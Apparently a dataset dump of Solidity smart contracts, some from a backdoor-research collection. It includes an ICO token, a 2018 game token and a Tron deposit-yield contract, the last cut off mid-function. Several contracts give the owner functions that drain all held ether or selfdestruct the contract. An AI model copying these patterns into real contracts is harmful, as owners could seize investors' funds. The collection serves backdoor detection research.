// paused or uninitialized
require(state[i] == State.Paused || state[i] == State.Uninitialized);
}
selfdestruct(owner);
}
// finalize methods
function needsFinalization() public view returns(bool) {
for (uint8 i = 0; i < 10; i++) {
if (roomNeedsFinalization(i)) {
return true;
}
}
return false;
}
function finalize() public {
for (uint8 i = 0; i < 10; i++) {
if (roomNeedsFinalization(i)) {
finalizeRoom(i);
}
}
}
}
| 140,457 | 13,985 |
3c31f23aa2945fa79bf460df13e1e43e43415a14b6f22f1c1b1297fac56ad84d
| 23,864 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x437cf0bf53634e3dfa5e3eaff3104004d50fb532.sol
| 4,743 | 15,899 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract LimitedTransferToken is ERC20 {
modifier canTransfer(address _sender, uint _value) {
if (_value > transferableTokens(_sender, uint64(now))) throw;
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender, _value) {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from, _value) {
super.transferFrom(_from, _to, _value);
}
function transferableTokens(address holder, uint64 time) constant public returns (uint256) {
return balanceOf(holder);
}
}
contract VestedToken is StandardToken, LimitedTransferToken {
uint256 MAX_GRANTS_PER_ADDRESS = 20;
struct TokenGrant {
address granter; // 20 bytes
uint256 value; // 32 bytes
uint64 cliff;
uint64 vesting;
uint64 start; // 3 * 8 = 24 bytes
bool revokable;
bool burnsOnRevoke; // 2 * 1 = 2 bits? or 2 bytes?
} // total 78 bytes = 3 sstore per operation (32 per sstore)
mapping (address => TokenGrant[]) public grants;
event NewTokenGrant(address indexed from, address indexed to, uint256 value, uint256 grantId);
function grantVestedTokens(address _to,
uint256 _value,
uint64 _start,
uint64 _cliff,
uint64 _vesting,
bool _revokable,
bool _burnsOnRevoke) public {
// Check for date inconsistencies that may cause unexpected behavior
if (_cliff < _start || _vesting < _cliff) {
throw;
}
if (tokenGrantsCount(_to) > MAX_GRANTS_PER_ADDRESS) throw;
uint count = grants[_to].push(TokenGrant(_revokable ? msg.sender : 0, // avoid storing an extra 20 bytes when it is non-revokable
_value,
_cliff,
_vesting,
_start,
_revokable,
_burnsOnRevoke));
transfer(_to, _value);
NewTokenGrant(msg.sender, _to, _value, count - 1);
}
function revokeTokenGrant(address _holder, uint _grantId) public {
TokenGrant grant = grants[_holder][_grantId];
if (!grant.revokable) { // Check if grant was revokable
throw;
}
if (grant.granter != msg.sender) { // Only granter can revoke it
throw;
}
address receiver = grant.burnsOnRevoke ? 0xdead : msg.sender;
uint256 nonVested = nonVestedTokens(grant, uint64(now));
// remove grant from array
delete grants[_holder][_grantId];
grants[_holder][_grantId] = grants[_holder][grants[_holder].length.sub(1)];
grants[_holder].length -= 1;
balances[receiver] = balances[receiver].add(nonVested);
balances[_holder] = balances[_holder].sub(nonVested);
Transfer(_holder, receiver, nonVested);
}
function transferableTokens(address holder, uint64 time) constant public returns (uint256) {
uint256 grantIndex = tokenGrantsCount(holder);
if (grantIndex == 0) return balanceOf(holder); // shortcut for holder without grants
// Iterate through all the grants the holder has, and add all non-vested tokens
uint256 nonVested = 0;
for (uint256 i = 0; i < grantIndex; i++) {
nonVested = SafeMath.add(nonVested, nonVestedTokens(grants[holder][i], time));
}
// Balance - totalNonVested is the amount of tokens a holder can transfer at any given time
uint256 vestedTransferable = SafeMath.sub(balanceOf(holder), nonVested);
// Return the minimum of how many vested can transfer and other value
// in case there are other limiting transferability factors (default is balanceOf)
return SafeMath.min256(vestedTransferable, super.transferableTokens(holder, time));
}
function tokenGrantsCount(address _holder) constant returns (uint index) {
return grants[_holder].length;
}
function calculateVestedTokens(uint256 tokens,
uint256 time,
uint256 start,
uint256 cliff,
uint256 vesting) constant returns (uint256)
{
// Shortcuts for before cliff and after vesting cases.
if (time < cliff) return 0;
if (time >= vesting) return tokens;
// Interpolate all vested tokens.
// As before cliff the shortcut returns 0, we can use just calculate a value
// in the vesting rect (as shown in above's figure)
// vestedTokens = tokens * (time - start) / (vesting - start)
uint256 vestedTokens = SafeMath.div(SafeMath.mul(tokens,
SafeMath.sub(time, start)),
SafeMath.sub(vesting, start));
return vestedTokens;
}
function tokenGrant(address _holder, uint _grantId) constant returns (address granter, uint256 value, uint256 vested, uint64 start, uint64 cliff, uint64 vesting, bool revokable, bool burnsOnRevoke) {
TokenGrant grant = grants[_holder][_grantId];
granter = grant.granter;
value = grant.value;
start = grant.start;
cliff = grant.cliff;
vesting = grant.vesting;
revokable = grant.revokable;
burnsOnRevoke = grant.burnsOnRevoke;
vested = vestedTokens(grant, uint64(now));
}
function vestedTokens(TokenGrant grant, uint64 time) private constant returns (uint256) {
return calculateVestedTokens(grant.value,
uint256(time),
uint256(grant.start),
uint256(grant.cliff),
uint256(grant.vesting));
}
function nonVestedTokens(TokenGrant grant, uint64 time) private constant returns (uint256) {
return grant.value.sub(vestedTokens(grant, time));
}
function lastTokenIsTransferableDate(address holder) constant public returns (uint64 date) {
date = uint64(now);
uint256 grantIndex = grants[holder].length;
for (uint256 i = 0; i < grantIndex; i++) {
date = SafeMath.max64(grants[holder][i].vesting, date);
}
}
}
// - Considering we inherit from VestedToken, how much does that hit at our gas price?
// - Ensure max supply is 150,000,000
// - Ensure that even if not totalSupply is sold, tokens would still be transferrable after.
// vesting: 365 days, 365 days / 4 vesting
contract BTN is VestedToken {
//FIELDS
string public name = "BETNetwork";
string public symbol = "BTN";
uint public decimals = 4;
uint public constant STAGE_PRESALE_ETHRaised = 3500*1 ether; // Stage 1 Ether 10000
uint public constant STAGE_TWO_ETHRaised = 8500*1 ether; // Stage 2 Ether 10000
uint public constant STAGE_THREE_ETHRaised = 14000*1 ether;
uint public constant STAGE_FOUR_ETHRaised = 20000*1 ether;
// Multiplier for the decimals
uint private constant DECIMALS = 10000;
//Prices of BTN
uint public constant PRICE_STANDARD = 3128*DECIMALS; // BTN received per one ETH; MAX_SUPPLY / (valuation / ethPrice)
uint public constant PRICE_STAGE_PRESALE = PRICE_STANDARD * 140/100; // 1ETH = 40% more BTN
uint public constant PRICE_STAGE_TWO = PRICE_STANDARD * 125/100; // 1ETH = 25% more BTN
uint public constant PRICE_STAGE_THREE = PRICE_STANDARD * 115/100; // 1ETH = 15% more BTN
uint public constant PRICE_STAGE_FOUR = PRICE_STANDARD * 105/100; // 1ETH = 5% more BTN
//BTN Token Limits
uint public constant ALLOC_TEAM = 22500000*DECIMALS; // team
uint public constant ALLOC_RES = 22500000*DECIMALS; // Reserve
uint public constant ALLOC_CROWDSALE = 105000000*DECIMALS;
//ASSIGNED IN INITIALIZATION
//Start and end times
uint public publicStartTime; // Time in seconds public crowd sale starts.
uint public publicEndTime; // Time in seconds BTN crowdsale ends
uint public hardcapInEth=30000* 1 ether;
//Special Addresses
address public multisigAddress=0x2DD016668BD409B7E1988dFddC08388e448f1E90; // Address to which all ether fund flows.
address public BETNetworkTeamAddress=0xdCE5999988a40AF0f9E6b73EAF9D5a1DC01a24E9; // Address to which teams funds transferred.
address public ownerAddress; // Address of the contract owner. Can halt the crowdsale.
//Running totals
uint public etherRaised; // Total Ether raised.
uint public BTNSold; // Total BTN created
//booleans
bool public halted; // halts the crowd sale if true.
// MODIFIERS
//Is currently in the period after the private start time and before the public start time.
modifier is_pre_crowdfund_period() {
if (now >= publicStartTime) throw;
_;
}
//Is currently the crowdfund period
modifier is_crowdfund_period() {
if (now < publicStartTime) throw;
if (isCrowdfundCompleted()) throw;
_;
}
// Is completed
modifier is_crowdfund_completed() {
if (!isCrowdfundCompleted()) throw;
_;
}
function isCrowdfundCompleted() internal returns (bool) {
if (now > publicEndTime || BTNSold >= ALLOC_CROWDSALE || etherRaised >= hardcapInEth) return true;
return false;
}
//May only be called by the owner address
modifier only_owner() {
if (msg.sender != ownerAddress) throw;
_;
}
//May only be called if the crowdfund has not been halted
modifier is_not_halted() {
if (halted) throw;
_;
}
// EVENTS
event Buy(address indexed _recipient, uint _amount);
// Initialization contract assigns address of crowdfund contract and end time.
function BTN() {
ownerAddress = msg.sender;
publicStartTime = now;
publicEndTime = now + 6 weeks;
balances[BETNetworkTeamAddress] += ALLOC_TEAM;
balances[ownerAddress] += ALLOC_RES;
balances[ownerAddress] += ALLOC_CROWDSALE;
}
// Transfer amount of tokens from sender account to recipient.
// Only callable after the crowd fund is completed
function transfer(address _to, uint _value)
{
if (_to == msg.sender) return;
if (!isCrowdfundCompleted()) throw;
super.transfer(_to, _value);
}
// Transfer amount of tokens from a specified address to a recipient.
// Transfer amount of tokens from sender account to recipient.
function transferFrom(address _from, address _to, uint _value)
is_crowdfund_completed
{
super.transferFrom(_from, _to, _value);
}
//constant function returns the current BTN price.
function getPriceRate()
constant
returns (uint o_rate)
{
uint delta = etherRaised;
if (delta < STAGE_PRESALE_ETHRaised) return PRICE_STAGE_PRESALE;
if (delta < STAGE_TWO_ETHRaised) return PRICE_STAGE_TWO;
if (delta < STAGE_THREE_ETHRaised) return PRICE_STAGE_THREE;
if (delta < STAGE_FOUR_ETHRaised) return PRICE_STAGE_FOUR;
return (PRICE_STANDARD);
}
// calculates wmount of BTN we get, given the wei and the rates we've defined per 1 eth
function calcAmount(uint _wei, uint _rate)
constant
returns (uint)
{
return SafeMath.div(SafeMath.mul(_wei, _rate), 1 ether);
}
// Given the rate of a purchase and the remaining tokens in this tranche, it
// will throw if the sale would take it past the limit of the tranche.
// Returns `amount` in scope as the number of BTN tokens that it will purchase.
function processPurchase(uint _rate, uint _remaining)
internal
returns (uint o_amount)
{
o_amount = calcAmount(msg.value, _rate);
if (o_amount > _remaining) throw;
if (!multisigAddress.send(msg.value)) throw;
balances[ownerAddress] = balances[ownerAddress].sub(o_amount);
balances[msg.sender] = balances[msg.sender].add(o_amount);
BTNSold += o_amount;
etherRaised += msg.value;
}
//Default function called by sending Ether to this address with no arguments.
//Results in creation of new BTN Tokens if transaction would not exceed hard limit of ADX Token.
function()
payable
is_crowdfund_period
is_not_halted
{
uint amount = processPurchase(getPriceRate(), SafeMath.sub(ALLOC_CROWDSALE, BTNSold));
Buy(msg.sender, amount);
}
// To be called at the end of crowdfund period
// WARNING: transfer(), which is called by grantVestedTokens(), wants a minimum message length
function grantVested(address _BETNetworkTeamAddress, address _BETNetworkFundAddress)
is_crowdfund_completed
only_owner
is_not_halted
{
// Grant tokens pre-allocated for the team
grantVestedTokens(_BETNetworkTeamAddress, ALLOC_TEAM,
uint64(now), uint64(now) + 91 days , uint64(now) + 365 days,
false, false);
// Grant tokens that remain after crowdsale to the BETNetwork fund, vested for 2 years
grantVestedTokens(_BETNetworkFundAddress, balances[ownerAddress],
uint64(now), uint64(now) + 182 days , uint64(now) + 730 days,
false, false);
}
//May be used by owner of contract to halt crowdsale and no longer except ether.
function toggleHalt(bool _halted)
only_owner
{
halted = _halted;
}
//failsafe drain
function drain()
only_owner
{
if (!ownerAddress.send(this.balance)) throw;
}
}
| 140,820 | 13,986 |
56a069e4e1f5a2e626e69dd4ecd36cdba419f2ae1b4f1ed8fa4a0de646daf7d8
| 16,307 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x064c9d27aab976536b0df42b3191abf11a5fc791.sol
| 3,569 | 14,783 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Big2018Token {
////////////////////////////////////////////////////////
//Intitial Parameters
address public creator; //keep track of creator
uint256 public tokensDaily = 10000; //max tokens available each day
uint256 tokensToday = 0; //no tokens given out today
uint256 public leftToday = 10000; //tokens left to sell today
uint startPrice = 100000000000000; //COMPOUND INCREASE: Wei starter price that will be compounded
uint q = 37; //COMPOUND INCREASE: for (1+1/q) multipler rate of 1.027 per day
uint countBuy = 0; //count times bought
uint start2018 = 1514764800; //when tokens become available
uint end2018 = 1546300799; //last second tokens available
uint day = 1; //what day is it
uint d = 86400; //sedonds in a day
uint dayOld = 1; //counter to kep track of last day tokens were given
address public game; //address of Game later in year
mapping (address => uint) public box; //record each persons box choice
uint boxRand = 0; //To start with random assignment of box used later in year, ignore use for token
uint boxMax = 5; //Max random random assignment to box used later in year, ignore use for token
event BoxChange(address who, uint newBox); //event that notifies of a box change in game
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf; //record who owns what
event Transfer(address indexed from, address indexed to, uint256 value);// This generates a public event on the blockchain that will notify clients
event Burn(address indexed from, uint256 value); // This notifies clients about the amount burnt
mapping (address => mapping (address => uint256)) public allowance;
struct EscrowTrade {
uint256 value; //value of number or tokens for sale
uint price; //min purchase price from seller
address to; //specify who is to purchase the tokens
bool open; //anyone can purchase rather than named buyer. false = closed. true = open to all.
}
mapping (address => mapping (uint => EscrowTrade)) public escrowTransferInfo;
mapping (address => uint) userEscrowCount;
event Escrow(address from, uint256 value, uint price, bool open, address to); // This notifies clients about the escrow
struct EscrowTfr {
address from; //who has defined this escrow trade
uint tradeNo; //trade number this user has made
}
EscrowTfr[] public escrowTransferList; //make an array of the escrow trades to be looked up
uint public escrowCount = 0;
////////////////////////////////////////////////////////
//Run at start
function Big2018Token() public {
creator = msg.sender; //store sender as creator
game = msg.sender; //to be updated once game released with game address
totalSupply = 3650000 * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[this] = totalSupply; // Give the creator all initial tokens
name = "BIG2018TOKEN"; // Set the name for display purposes
symbol = "B18"; // Set the symbol for display purposes
}
////////////////////////////////////////////////////////
//The Price of the Token Each Day. 0 = today
function getPriceWei(uint _day) public returns (uint) {
require(now >= start2018 && now <= end2018); //must be in 2018
day = (now - start2018)/d + 1; //count number of days since opening
if (day > dayOld) { //resent counter if first tx per day
uint256 _value = ((day - dayOld - 1)*tokensDaily + leftToday) * 10 ** uint256(decimals);
_transfer(this, creator, _value); //give remaining tokens from previous day to creator
tokensToday = 0; //reset no of tokens sold today, this wont stick as 'veiw' f(x). will be saved in buy f(x)
dayOld = day; //reset dayOld counter
}
if (_day != 0) { //if _day = 0, calculate price for today
day = _day; //which day should be calculated
}
//q & startPrice defined at top
uint n = day - 1; //n of days to compound the multipler by
uint p = 3 + n * 5 / 100; //itterations to calculate compound daily multiplier. higher is greater precision but more expensive
uint s = 0; //output. itterativly added to for result
uint x = 1; //multiply side of binomial expansion
uint y = 1; //divide side of binomial expansion
//itterate top q lines binomial expansion to estimate compound multipler
for (uint i = 0; i < p; ++i) { //each itteration gets closer, higher p = closer approximation but more costly
s += startPrice * x / y / (q**i); //iterate adding each time to s
x = x * (n-i); //calc multiply side
y = y * (i+1); //calc divide side
}
return (s); //return priceInWei = s
}
////////////////////////////////////////////////////////
//Giving New Tokens To Buyer
function () external payable {
// must buy whole token when minting new here, but can buy/sell fractions between eachother
require(now >= start2018 && now <= end2018); //must be in 2018
uint priceWei = this.getPriceWei(0); //get todays price
uint256 giveTokens = msg.value / priceWei; //rounds down to no of tokens that can afford
if (tokensToday + giveTokens > tokensDaily) { //if asking for tokens than left today
giveTokens = tokensDaily - tokensToday; //then limit giving to remaining tokens
}
countBuy += 1; //count usage
tokensToday += giveTokens; //count whole tokens issued today
box[msg.sender] = this.boxChoice(0); //assign box number to buyer
_transfer(this, msg.sender, giveTokens * 10 ** uint256(decimals)); //transfer tokens from this contract
uint256 changeDue = msg.value - (giveTokens * priceWei) * 99 / 100; //calculate change due, charged 1% to disincentivise high volume full refund calls.
require(changeDue < msg.value); //make sure refund is not more than input
msg.sender.transfer(changeDue); //give change
}
////////////////////////////////////////////////////////
//To Find Users Token Ammount and Box number
function getValueAndBox(address _address) view external returns(uint, uint) {
return (balanceOf[_address], box[_address]);
}
////////////////////////////////////////////////////////
//For transfering tokens to others
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(balanceOf[_from] >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
uint previousbalanceOf = balanceOf[_from] + balanceOf[_to]; // Save this for an assertion in the future
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousbalanceOf); // Asserts are used to use static analysis to find bugs in your code. They should never fail
}
////////////////////////////////////////////////////////
//Transfer tokens
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
////////////////////////////////////////////////////////
//Transfer tokens from other address
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
////////////////////////////////////////////////////////
//Set allowance for other address
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
////////////////////////////////////////////////////////
//Set allowance for other address and notify
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
////////////////////////////////////////////////////////
//Decide or change box used in game
function boxChoice(uint _newBox) public returns (uint) {
//for _newBox = 0 assign random
boxRand += 1; //count up for even start box assingment
if (boxRand > boxMax) { //stop box assignment too high
boxRand = 1; //return to box 1
}
if (_newBox == 0) {
box[msg.sender] = boxRand; //give new random assignment to owner (or this if buying)
} else {
box[msg.sender] = _newBox; //give new assignment to owner (or this if buying)
}
BoxChange(msg.sender, _newBox); //let everyone know
return (box[msg.sender]); //output to console
}
////////////////////////////////////////////////////////
//Release the funds for expanding project
//Payable to re-top up contract
function fundsOut() payable public {
require(msg.sender == creator); //only alow creator to take out
creator.transfer(this.balance); //take the lot, can pay back into this via different address if wished re-top up
}
////////////////////////////////////////////////////////
//Used to tweak and update for Game
function update(uint _option, uint _newNo, address _newAddress) public returns (string, uint) {
require(msg.sender == creator || msg.sender == game); //only alow creator or game to use
//change Max Box Choice
if (_option == 1) {
require(_newNo > 0);
boxMax = _newNo;
return ("boxMax Updated", boxMax);
}
//change address of game smart contract
if (_option == 2) {
game = _newAddress;
return ("Game Smart Contract Updated", 1);
}
}
////////////////////////////////////////////////////////
//Destroy tokens
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
////////////////////////////////////////////////////////
//Destroy tokens from other account
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
////////////////////////////////////////////////////////
//For trsnsfering tokens to others using this SC to enure they pay
function setEscrowTransfer(address _to, uint _value, uint _price, bool _open) external returns (bool success) {
//_to to specify a address who can purchase
//_open if anyone can purchase (set _to to any address)
//_price is min asking value for full value of tokens
//_value is number of tokens available
//_to, who will purchase value of tokens
_transfer(msg.sender, this, _value); //store _value in this contract
userEscrowCount[msg.sender] += 1;
var escrowTrade = escrowTransferInfo[msg.sender][userEscrowCount[msg.sender]]; //record transfer option details
escrowTrade.value += _value;//add value into retaining store for trade
escrowTrade.price = _price; //set asking price
escrowTrade.to = _to; //who will purchase
escrowTrade.open = _open; //is trade open to all. false = closed. true = open to anyone.
escrowCount += 1;
escrowTransferList.push(EscrowTfr(msg.sender, userEscrowCount[msg.sender]));
Escrow(msg.sender, _value, _price, _open, _to); // This notifies clients about the escrow
return (true); //success!
}
////////////////////////////////////////////////////////
//For purchasing tokens from others using this SC to give trust to purchase
function recieveEscrowTransfer(address _sender, uint _no) external payable returns (bool success) {
//_sender is person buying from
require(escrowTransferInfo[_sender][_no].value != 0); //end if trade already completed
box[msg.sender] = this.boxChoice(box[msg.sender]); //assign box number to buyer
if (msg.sender == _sender) {
_transfer(this, msg.sender, escrowTransferInfo[_sender][_no].value); //put tokens back to sender account
escrowTransferInfo[_sender][_no].value = 0; //reset counter for escrow token
Escrow(_sender, 0, msg.value, escrowTransferInfo[_sender][_no].open, msg.sender); // This notifies clients about the escrow
return (true);
} else {
require(msg.value >= escrowTransferInfo[_sender][_no].price); //Check _to is Paying Enough
if (escrowTransferInfo[_sender][_no].open == false) {
require(msg.sender == escrowTransferInfo[_sender][_no].to); //Check _to is the intended purchaser
}
_transfer(this, msg.sender, escrowTransferInfo[_sender][_no].value);
_sender.transfer(msg.value); //Send the sender the value of the trade
escrowTransferInfo[_sender][_no].value = 0; //no more in retaining store
Escrow(_sender, 0, msg.value, escrowTransferInfo[_sender][_no].open, msg.sender); // This notifies clients about the escrow
return (true); //success!
}
}
}
| 202,060 | 13,987 |
3feb7bc2011e4a78682152f980fb22ba7f511d359e3ecf19f4b6b45c11b180d4
| 14,094 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TR/TRgRPKUSDuj3uCNBDMn43sJgCEA7mdkiHd_TronRed.sol
| 3,504 | 10,680 |
//SourceUnit: tronred.sol
pragma solidity 0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract TronRed {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 10 trx;
uint256 constant public BASE_PERCENT = 10;
uint256[] public REFERRAL_PERCENTS = [50, 20, 5];
uint256 constant public MARKETING_FEE = 160;
uint256 constant public PROJECT_FEE = 40;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public CONTRACT_BALANCE_STEP = 1000000 trx;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
address payable public marketingAddress;
address payable public projectAddress;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256 bonus;
uint256 level1;
uint256 level2;
uint256 level3;
uint256 withdrawRef;
}
mapping (address => User) internal users;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable marketingAddr, address payable projectAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
}
function invest(address referrer) public payable {
require(msg.value >= INVEST_MIN_AMOUNT);
marketingAddress.transfer(msg.value.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
projectAddress.transfer(msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER));
emit FeePayed(msg.sender, msg.value.mul(MARKETING_FEE.add(PROJECT_FEE)).div(PERCENTS_DIVIDER));
User storage user = users[msg.sender];
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
if(i == 0){
users[upline].level1 = users[upline].level1.add(1);
} else if(i == 1){
users[upline].level2 = users[upline].level2.add(1);
} else if(i == 2){
users[upline].level3 = users[upline].level3.add(1);
}
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.withdrawRef = 0;
user.checkpoint = block.timestamp;
totalUsers = totalUsers.add(1);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(msg.value, 0, block.timestamp));
totalInvested = totalInvested.add(msg.value);
totalDeposits = totalDeposits.add(1);
emit NewDeposit(msg.sender, msg.value);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 userPercentRate = getUserPercentRate(msg.sender);
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) {
dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn);
}
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
totalAmount = totalAmount.add(referralBonus);
user.withdrawRef = user.withdrawRef.add(referralBonus);
user.bonus = 0;
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint256) {
uint256 contractBalance = address(this).balance;
uint256 contractBalancePercent = contractBalance.div(CONTRACT_BALANCE_STEP);
return BASE_PERCENT.add(contractBalancePercent);
}
function getUserPercentRate(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 contractBalanceRate = getContractBalanceRate();
if (isActive(userAddress)) {
